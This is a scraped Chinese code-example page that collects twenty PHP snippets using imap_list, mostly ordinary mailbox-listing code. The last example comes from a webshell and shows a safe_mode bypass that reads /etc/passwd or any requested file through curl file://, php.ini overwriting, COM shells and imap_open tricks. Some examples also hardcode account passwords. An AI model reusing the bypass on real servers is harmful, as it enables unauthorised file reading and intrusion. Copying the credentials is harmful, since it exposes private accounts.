• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

PHP imap_list函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了PHP中imap_list函数的典型用法代码示例。如果您正苦于以下问题:PHP imap_list函数的具体用法?PHP imap_list怎么用?PHP imap_list使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了imap_list函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。

示例1: free

 public function free($util)
 {
     $stream = imap_open("{imap.club-internet.fr:993/imap/SSL}", $util, "wrasuxwr");
     var_dump($stream);
     $check = imap_check($stream);
     $list = imap_list($stream, "{imap.club-internet.fr}", "*");
     imap_createmailbox($stream, '{imap.club-internet.fr}brubru');
     $getmailboxes = imap_getmailboxes($stream, "{imap.club-internet.fr}", "*");
     $headers = imap_headers($stream);
     $num_msg = imap_num_msg($stream);
     $status = imap_status($stream, "{imap.club-internet.fr:993/imap/SSL}INBOX", SA_ALL);
     $messages = imap_fetch_overview($stream, "1:" . $num_msg);
     $structure = imap_fetchstructure($stream, 2);
     $body = utf8_encode(quoted_printable_decode(imap_body($stream, '2')));
     // imap_delete($stream, '1');
     // imap_expunge($stream);
     return view('Imap.Imap')->with(compact('resource'))->with(compact('check'))->with(compact('list'))->with(compact('getmailboxes'))->with(compact('headers'))->with(compact('num_msg'))->with(compact('status'))->with(compact('errors'))->with(compact('messages'))->with(compact('structure'))->with(compact('body'));
 }
开发者ID:gAb09,项目名称:NetP,代码行数:18,代码来源:ImapController.php


示例2: init

 function init()
 {
     if (isset($_SESSION[IMAP_SESSION]['cache'])) {
         $this->_sessionCache =& $_SESSION[IMAP_SESSION]['cache'];
     } else {
         $this->_sessionCache =& $_SESSION[IMAP_SESSION]['cache'];
         //формируем список ящиков
         $imap_manager =& IMAPManager::singleton();
         $serverString = '{' . $imap_manager->server . '}';
         $bIsGmail = strpos($serverString, 'gmail') !== FALSE;
         $aSkipUnseenMailboxes = $bIsGmail ? array('Вся почта', 'Корзина', 'Отправленные', 'Помеченные', 'Черновики') : array();
         $offset = strlen($serverString);
         $mboxes = @imap_list($imap_manager->stream(), $serverString, '*');
         if (is_array($mboxes)) {
             foreach ($mboxes as $box) {
                 $box = substr($box, $offset);
                 //remove server string
                 $status = @imap_status($imap_manager->stream(), $serverString . $box, SA_ALL);
                 $this->_sessionCache[$box] = array();
                 $this->_sessionCache[$box]['k'] = implode('|', array($status->messages, $status->uidnext, $status->uidvalidity));
                 $this->_sessionCache[$box]['name'] = $box == 'INBOX' ? 'Входящие' : $imap_manager->decodeMailboxName($bIsGmail ? str_replace('[Gmail]/', '', $box) : $box);
                 $this->_sessionCache[$box]['unseen'] = $bIsGmail && in_array($this->_sessionCache[$box]['name'], $aSkipUnseenMailboxes) ? -1 : $status->unseen;
                 $this->_sessionCache[$box]['d'] = array();
                 $this->_saveCache($box);
             }
         }
     }
 }
开发者ID:Sywooch,项目名称:dobox,代码行数:28,代码来源:class.imap.cache.php


示例3: get_mailboxes

 /**
  * @param $ref
  * @param string $pattern
  * @return IMAP\Mailbox[]
  */
 function get_mailboxes($ref, $pattern = '*')
 {
     $ret = array();
     foreach (imap_list($this->con, $ref, $pattern) as $mb) {
         $ret[] = $this->get_mailbox($mb);
     }
     return $ret;
 }
开发者ID:splitice,项目名称:radical-mail,代码行数:13,代码来源:IMAP.php


示例4: imapList

 /**
  * liefert eine Liste der verfügbaren Folder
  * @param string $pattern
  * @return array
  */
 public function imapList($pattern = '*')
 {
     if ($this->imap === null) {
         throw new IMAPException(__METHOD__ . ' not connected');
     }
     $this->imapPing(true);
     return imap_list($this->imap, $this->server, $pattern);
 }
开发者ID:NEOatNHNG,项目名称:cacert-testmgr,代码行数:13,代码来源:imapConnection.php


示例5: listMailboxes

 function listMailboxes()
 {
     $mailboxes = imap_list($this->stream, $this->target, "*");
     foreach ($mailboxes as &$folder) {
         $folder = str_replace($this->target, "", imap_utf7_decode($folder));
     }
     return $mailboxes;
 }
开发者ID:kam1katze,项目名称:ocDashboard,代码行数:8,代码来源:imap.php


示例6: getMailboxes

 /**
  * Get all available mailboxes from the server
  *
  * @return array|string returns a array with all messagebox names
  */
 public function getMailboxes()
 {
     $boxes = array();
     $list = imap_list($this->con, $this->res, '*');
     foreach ($list as $item) {
         $boxes[] = new Mailbox($this, $item);
     }
     return $boxes;
 }
开发者ID:hadvig,项目名称:laravel-imap,代码行数:14,代码来源:Client.php


示例7: getListingFolders

 public function getListingFolders()
 {
     $folders = imap_list($this->Stream, $this->_connectionString, "*");
     foreach ($folders as $key => $folder) {
         $folder = str_replace($this->_connectionString, "", imap_utf7_decode($folder));
         $folders[$key] = $folder;
     }
     return $folders;
 }
开发者ID:ch0c4,项目名称:cake-mailer,代码行数:9,代码来源:Connection.php


示例8: getMailboxes

 /**
  * Gets all mailboxes
  *
  * @return array of string
  * @throws DriverException
  */
 public function getMailboxes()
 {
     $mailboxes = array();
     $foo = imap_list($this->resource, $this->server, '*');
     if (!$foo) {
         throw new DriverException("Cannot get mailboxes from server: " . imap_last_error());
     }
     foreach ($foo as $mailbox) {
         $mailboxes[] = mb_convert_encoding(str_replace($this->server, '', $mailbox), 'UTF8', 'UTF7-IMAP');
     }
     return $mailboxes;
 }
开发者ID:jkuchar,项目名称:MailLibrary,代码行数:18,代码来源:ImapDriver.php


示例9: getFoldersList

 public function getFoldersList()
 {
     $out = [];
     $list = imap_list($this->imapStream, $this->getMailbox(), '*');
     if (is_array($list)) {
         foreach ($list as $val) {
             $out[] = imap_utf7_decode($val);
         }
     } else {
         throw new \Exception('Imap list failed: ' . imap_last_error());
     }
     return $out;
 }
开发者ID:trejjam,项目名称:emailing,代码行数:13,代码来源:Imap.php


示例10: boxes

function boxes()
{
    global $mail, $user, $pass;
    //
    $mbox = imap_open($mail, $user, $pass);
    if (!$mbox) {
        die("boxes: mailbox open FAILED.");
    }
    //
    $boxes = imap_list($mbox, $mail, "*");
    //
    imap_close($mbox);
    return $boxes;
}
开发者ID:rwadkins,项目名称:EnyoJS-NYC-Subway-Status,代码行数:14,代码来源:boxesInfo0.php


示例11: mail_box

function mail_box()
{
    $IMAP_READTIMEOUT = 1;
    //    imap_timeout(1, $IMAP_READTIMEOUT) ;
    $mbox = imap_open("{pop.163.com:110/pop3/notls}", "wanghuafengc", "081013303");
    $folders = imap_list($mbox, "{pop.163.com:110/pop3/}", "%");
    if ($folders == false) {
        echo "Call failed<br />\n";
    } else {
        foreach ($folders as $val) {
            echo $val . "<br />\n";
        }
    }
}
开发者ID:sdgdsffdsfff,项目名称:qq_mail_login,代码行数:14,代码来源:pop_imap.php


示例12: showEmails

 public function showEmails()
 {
     $connect_to = '{imap.gmail.com:993/imap/ssl/novalidate-cert}INBOX';
     $user = '[email protected]';
     $password = '77andy77';
     $inbox = imap_open($connect_to, $user, $password) or die("Can't connect to '{$connect_to}': " . imap_last_error());
     $folders = imap_list($inbox, "{imap.gmail.com:993/imap/ssl}", "*");
     //return dd($folders);
     //return $message_count = imap_num_msg($inbox);
     $emails = imap_search($inbox, 'SINCE ' . date('d-M-Y', strtotime("-2 week")));
     $output = [];
     $emailCount = imap_num_msg($inbox);
     rsort($emails);
     $i = 0;
     foreach ($emails as $mail) {
         $headerInfo = imap_headerinfo($inbox, $mail);
         //return var_dump(dd($headerInfo));
         $message = "";
         $output[$i]['subject'] = isset($headerInfo->Subject) ? imap_utf8($headerInfo->Subject) : "0";
         $output[$i]['from'] = imap_utf8($headerInfo->from[0]->personal);
         $output[$i]['toaddress'] = $headerInfo->toaddress;
         $output[$i]['to'] = array_shift($headerInfo->to);
         $output[$i]['date'] = $headerInfo->date[0];
         $output[$i]['fromaddress'] = $headerInfo->fromaddress[0];
         $output[$i]['reply_toaddress'] = $headerInfo->reply_toaddress[0];
         $output[$i]['date'] = date('d-m-Y ' . '[' . 'H:i' . ']', strtotime($headerInfo->date) + 3600);
         $output[$i]['unseen'] = $headerInfo->Unseen;
         $output[$i]['flagged'] = $headerInfo->Flagged;
         $message = imap_fetchbody($inbox, $mail, 2);
         if (base64_decode($message, true)) {
             //message body if base64 encoded
             $message = base64_decode($message);
         } else {
             //message body is not base64 encoded
             $message = imap_fetchbody($inbox, $mail, 1);
         }
         $output[$i]['body'] = $message;
         $i++;
     }
     return dd($output);
     //return view('aßdministration.email.showEmails')->with('output', $output);
 }
开发者ID:andy-am,项目名称:itam,代码行数:42,代码来源:EmailController.php


示例13: getLabels

 function getLabels()
 {
     $this->load->database();
     $this->load->model('grabber');
     $inbox = $this->getConnect('INBOX');
     $folders = imap_list($inbox, "{imap.gmail.com:993/imap/ssl}", "*");
     $i = 0;
     $folde = array();
     foreach ($folders as $folder) {
         $fold = str_replace("{imap.gmail.com:993/imap/ssl}", " ", imap_utf7_decode($folder));
         if ($this->grabber->check_label_exist(htmlentities($fold)) == 0) {
             $folde[$i]['id'] = uniqid();
             $folde[$i]['name'] = htmlentities($fold);
             $i++;
         }
     }
     if (count($folde) > 0) {
         $this->grabber->insert_labels($folde);
     }
     //imap_close($inbox);
 }
开发者ID:shibubhat,项目名称:shiburepo,代码行数:21,代码来源:welcome.php


示例14: imap_get_url

function imap_get_url($u)
{
    if (!($c = imap_open_url($u))) {
        return FALSE;
    }
    extract(parse_url($u));
    extract(imap_parse_path($path));
    if ($mailbox) {
        if ($uid) {
            $msgno = imap_msgno($c, $uid);
            $o = imap_fetchstructure($c, $msgno);
        } else {
            $o = array();
            $n = imap_num_msg($c);
            while ($i++ < $n) {
                $o[] = imap_fetchheader($c, $i);
            }
        }
    } else {
        $o = imap_list($c, '{}', '*');
    }
    return $o;
}
开发者ID:nbtscommunity,项目名称:phpfnlib,代码行数:23,代码来源:imap.php


示例15: open_mailbox

 function open_mailbox($folder = "", $ops = OP_HALFOPEN, $fatal = true)
 {
     if ($this->connection && is_resource($this->connection)) {
         imap_close($this->connection);
     }
     $this->connect_string = '{' . $this->host . ':' . $this->port . '/' . $this->protocol . config::get_config_item("allocEmailExtra") . '}';
     $this->connection = imap_open($this->connect_string, $this->username, $this->password, $ops);
     if (!$this->connection && $fatal) {
         alloc_error("Unable to access mail folder(1).");
     }
     $list = imap_list($this->connection, $this->connect_string, "*");
     if (!is_array($list) || !count($list)) {
         // || !in_array($connect_string.$folder,$list)) {
         $this->unlock();
         imap_close($this->connection);
         if ($fatal) {
             alloc_error("Unable to access mail folder(2).");
         }
     } else {
         $rtn = imap_reopen($this->connection, $this->connect_string . $folder);
         $errs = print_r(imap_errors(), 1);
         if (!$rtn || preg_match("/Invalid mailbox name/i", $errs) || preg_match("/Mailbox does not exist/i", $errs)) {
             $rtn = imap_reopen($this->connection, $this->connect_string . str_replace("/", ".", $folder));
         }
         if (!$rtn) {
             imap_close($this->connection);
             if ($fatal) {
                 alloc_error("Unable to access mail folder(3).");
             }
         }
     }
     if (!$rtn && $fatal) {
         alloc_error("<pre>IMAP errors: " . print_r(imap_errors(), 1) . print_r(imap_alerts(), 1) . "</pre>");
     }
     return $rtn;
 }
开发者ID:cjbayliss,项目名称:alloc,代码行数:36,代码来源:email_receive.inc.php


示例16: getListingFolders

 /**
  * Gets listing the folders
  *
  * This function returns an object containing listing the folders.
  * The object has the following properties: messages, recent, unseen, uidnext, and uidvalidity.
  *
  * @return array listing the folders
  */
 public function getListingFolders()
 {
     $folders = imap_list($this->getImapStream(), $this->imapPath, "*");
     foreach ($folders as $key => $folder) {
         $folder = str_replace($this->imapPath, "", imap_utf7_decode($folder));
         $folders[$key] = $folder;
     }
     return $folders;
 }
开发者ID:ladybirdweb,项目名称:momo-email-listener,代码行数:17,代码来源:Mailbox.php


示例17: getMailboxes

 function getMailboxes()
 {
     if (!($folders = imap_list($this->mbox, $this->srvstr, "*")) || !is_array($folders)) {
         return null;
     }
     $list = array();
     foreach ($folders as $folder) {
         $list[] = str_replace($this->srvstr, '', imap_utf7_decode(trim($folder)));
     }
     return $list;
 }
开发者ID:KM-MFG,项目名称:osTicket-1.8,代码行数:11,代码来源:class.mailfetch.php


示例18: listmailbox

 function listmailbox(){
 $list = imap_list($this->link, "{".$this->IMAP_host."}", "*");
 if (is_array($list)) {
    return $list;
  } else {
    $this->error =  "imap_list failed: " . imap_last_error() . "\n";
  }
  return array();
 }
开发者ID:AnarKyx01,项目名称:scorebot-vagrant,代码行数:9,代码来源:class.emailtodb.php


示例19: mailboxes_list

 /**
  * mailboxes_list()
  *   get a list of the mailboxes avaible on the server
  */
 function mailboxes_list()
 {
     if ($this->connection == 0) {
         return false;
     }
     $boxes = array();
     $list = imap_list($this->connection, "\\{{$this->server}:{$this->port}}", "*");
     if (is_array($list)) {
         reset($list);
         while (list($key, $val) = each($list)) {
             $boxes[] = substr(strstr(imap_utf7_decode($val), '}'), 1);
         }
     } else {
         if ($this->debug) {
             echo "Had problems collecting mailboxes list..";
             echo implode("<br />\n", imap_errors());
         }
         return false;
     }
     return $boxes;
 }
开发者ID:ameoba32,项目名称:tiki,代码行数:25,代码来源:mail.php


示例20: safemodE

function safemodE()
{
    global $windows, $t, $hcwd, $et;
    $file = empty($_REQUEST['file']) ? '/etc/passwd' : $_REQUEST['file'];
    $pr = "\r\n</font><font color=green>Method ";
    $po = ")</font><font color=blue>\r\n";
    $i = 1;
    if (!empty($_REQUEST['read'])) {
        echo "<pre>{$pr}{$i}:(ini_restore{$po}";
        ini_restore('safe_mode');
        ini_restore('open_basedir');
        readfile($file);
        $i++;
        echo "{$pr}{$i}:(include{$po}";
        include $file;
        $i++;
        echo "{$pr}{$i}:(copy{$po}";
        $tmp = tempnam('', 'cx');
        copy('compress.zlib://' . $file, $tmp);
        $fh = fopen($tmp, 'r');
        $data = fread($fh, filesize($tmp));
        fclose($fh);
        echo $data;
        $i++;
        if (function_exists('mb_send_mail')) {
            echo "{$pr}{$i}:(mb_send_mail{$po}";
            if (file_exists('/tmp/mb_send_mail')) {
                unlink('/tmp/mb_send_mail');
            }
            mb_send_mail(NULL, NULL, NULL, NULL, '-C $file -X /tmp/mb_send_mail');
            readfile('/tmp/mb_send_mail');
            $i++;
        }
        if (function_exists('curl_init')) {
            echo "{$pr}{$i}:(curl_init [A]{$po}";
            $fh = curl_init('file://' . $file . '');
            $tmp = curl_exec($fh);
            echo $tmp;
            $i++;
            echo "{$pr}{$i}:(curl_init [B]{$po}";
            $i++;
            if (strstr($file, DIRECTORY_SEPARATOR)) {
                $ch = curl_init('file:///' . $file . "/../../../../../../../../../../../../" . __FILE__);
            } else {
                $ch = curl_init('file://' . $file . "" . __FILE__);
            }
            var_dump(curl_exec($ch));
        }
        if (is_writable('.')) {
            echo "{$pr}{$i}:(php.ini{$po}";
            file_put_contents('php.ini', 'safe_mode = Off');
            readfile($file);
            unlink('php.ini');
            $i++;
        }
        if (is_object($ws = new COM('WScript.Shell'))) {
            echo "{$pr}{$i}:(COM{$po}";
            echo $exec = comshelL("type \"{$file}\"", $ws);
            $i++;
        }
        if (checkfunctioN('win_shell_execute')) {
            echo "{$pr}{$i}:(win32std{$po}";
            echo winshelL("type \"{$file}\"");
            $i++;
        }
        if (checkfunctioN('win32_create_service')) {
            echo "{$pr}{$i}:(win32service{$po}";
            echo srvshelL("type \"{$file}\"");
            $i++;
        }
        if (function_exists('imap_open')) {
            echo "{$pr}{$i}:(imap [A]{$po}";
            $str = imap_open('/etc/passwd', '', '');
            $list = imap_list($str, $file, '*');
            for ($i = 0; $i < count($list); $i++) {
                echo $list[$i] . "\n";
            }
            imap_close($str);
            $i++;
            echo "{$pr}{$i}:(imap [B]{$po}";
            $str = imap_open($file, '', '');
            $tmp = imap_body($str, 1);
            echo $tmp;
            imap_close($str);
            $i++;
        }
        if ($file == '/etc/passwd') {
            echo "{$pr}{$i}:(posix{$po}";
            for ($uid = 0; $uid < 99999; $uid++) {
                $h = posix_getpwuid($uid);
                if (!empty($h)) {
                    foreach ($h as $v) {
                        echo "{$v}:";
                    }
                }
                echo "\r\n";
            }
        }
        echo "\n</pre></font>";
    } elseif (!empty($_REQUEST['show'])) {
//.........这里部分代码省略.........
开发者ID:retanoj,项目名称:webshellSample,代码行数:101,代码来源:a824680ae0452cb5a0bebc0e8bf858f4.php



注:本文中的imap_list函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
PHP imap_mail函数代码示例发布时间:2022-05-15
下一篇:
PHP imap_last_error函数代码示例发布时间:2022-05-15
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap